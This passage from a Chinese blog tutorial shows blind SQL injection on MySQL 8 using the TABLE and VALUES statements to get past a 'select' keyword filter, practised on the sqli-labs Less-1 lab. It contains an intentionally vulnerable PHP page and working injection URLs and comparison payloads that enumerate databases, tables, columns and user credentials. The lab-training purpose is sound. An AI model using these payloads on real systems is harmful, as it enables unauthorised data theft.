| (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) |
+------------------------------------------------------------------------+
| 0 |
+------------------------------------------------------------------------+
1 row in set (0.23 sec)
这里看起来和以前一样,但是当我们换为s时:
mysql> select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
+------------------------------------------------------------------------+
| (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) |
+------------------------------------------------------------------------+
| 1 |
+------------------------------------------------------------------------+
1 row in set (0.23 sec)
同样为1,说明当ascii相等的时候返回1
所以在进行注入中注意要把得到的数ascii值减1。
比较问题二
mysql> select (('security/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
+------------------------------------------------------------------------------------+
| (('security/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) |
+------------------------------------------------------------------------------------+
| 1 |
+------------------------------------------------------------------------------------+
1 row in set (0.23 sec)
mysql> select (('security/users','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
+-------------------------------------------------------------------------------------+
| (('security/users','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) |
+-------------------------------------------------------------------------------------+
| NULL |
+-------------------------------------------------------------------------------------+
1 row in set (0.23 sec)
mysql> select (('security/usert','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1));
+-------------------------------------------------------------------------------------+
| (('security/usert','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) |
+-------------------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------------------+
1 row in set (0.23 sec)
当前面字符串相等时,会比较最后一位,当完全相等时,返回NULL
比较问题三
整数比较问题
mysql> select (('0',2,3)<(table users limit 0,1));
+-------------------------------------+
| (('0',2,3)<(table users limit 0,1)) |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.23 sec)
mysql> select (('1',2,3)<(table users limit 0,1));
+-------------------------------------+
| (('1',2,3)<(table users limit 0,1)) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (0.23 sec)
mysql> select (('2',2,3)<(table users limit 0,1));
+-------------------------------------+
| (('2',2,3)<(table users limit 0,1)) |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (0.23 sec)
mysql> select (('0aa',2,3)<(table users limit 0,1));
+---------------------------------------+
| (('0aa',2,3)<(table users limit 0,1)) |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set, 1 warning (0.23 sec)
mysql> select (('1aa',2,3)<(table users limit 0,1));
+---------------------------------------+
| (('1aa',2,3)<(table users limit 0,1)) |
+---------------------------------------+
| 0 |
+---------------------------------------+
1 row in set, 1 warning (0.23 sec)
在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。
VALUES
VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。
作用:列出一行的值
语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...]value_list: value[, value][, ...]column_designator: column_index
基本使用:
VALUES ROW(1,2)
VALUES ROW(1,2,3)
VALUES ROW(1,2,3),ROW(5,6,7)
配合union使用:
VALUES ROW(1, 2) union select * from user
select * from user union VALUES ROW(1, 2)
information_schema.TABLESPACES_EXTENSIONS
# 我们可以通过这个表去查询所有数据库中的数据库和数据表
table information_schema.TABLESPACES_EXTENSIONS
等价于
select * from information_schema.TABLESPACES_EXTENSIONS
类似的还有:
information_schema.SCHEMA information_schema.TABLES
information.COLUMNS
mysql.innodb_table_stats
mysql.innodb_index_stats
sys.schema_tables_with_full_table_scans
简单练手
修改Less-1的代码,过滤select
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
function blacklist($id)
{
$id= preg_replace('/select/i',"", $id);
return $id;
}
$id = blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
我们来用新方法注入:
首先用order by判断列数,这里不再说明,得出三列
# 我们使用values构造出了一个表,证明可以注入
http://193.43.142.8/Less-1/?id=-1'union values row(1,2,3)--+
然后就是常规的需要知道库名,表名,字段名
当前库可以通过布尔盲注得到
http://193.43.142.8/Less-1/?id=1'and if((substr((database()),1,1)='s'),1,0)--+
别的库名可以通过盲注得到
table information_schema.schemata #列出所有数据库名
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来,也需要使用盲注
http://193.43.142.8/Less-1/?id=1'&&('def','m','',4,5,6)<(table information_schema.schemata limit 1);
后面的语句是从左到右判断的,第一列判断正确再判断第二列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名
里面的字符也是单个判断的,比如库为mysql
m < mysql
my < mysql
azzzz < mysql
以上判断都是正确的,猜测是按照ascii码大小比较的,最后一个就比较坑,如果前一个字符判断不正确,后面的字符都会不正确,所以前面的判断一定要正确
注意判断的时候后一个列名一定要用字符表示,不能用数字,不然判断到前一个最后一个字符会判断不出
('def','mysql',3,4,5,6)<(table information_schema.schemata limit 1); #判断错误
('def','mysql','',4,5,6)<(table information_schema.schemata limit 1); #判断正确
得到当前库名为security,接下来判断表名
('def','security','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit 325,1);
前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始,然后盲注第三个列
得到所有表明后开始判断字段名,找到columns表,具体方法和上面一样
('def','security','users','','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit 3415,1);
最后注入出数据
(1,'','') < (table users limit 1);
这里有个坑点,如果没有得到数据类型的话还是需要猜的,比如ID为1,前面就不能写成’1’
然后一直往下注入数据就行了
参考链接:
https://www.cnblogs.com/phant0m/articles/16450646.html
https://blog.csdn.net/weixin_49150931/article/details/111829828
https://blog.csdn.net/qq_53079406/article/details/125285625
https://xz.aliyun.com/t/8646
https://blog.csdn.net/qq_38154820/article/details/121369208
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!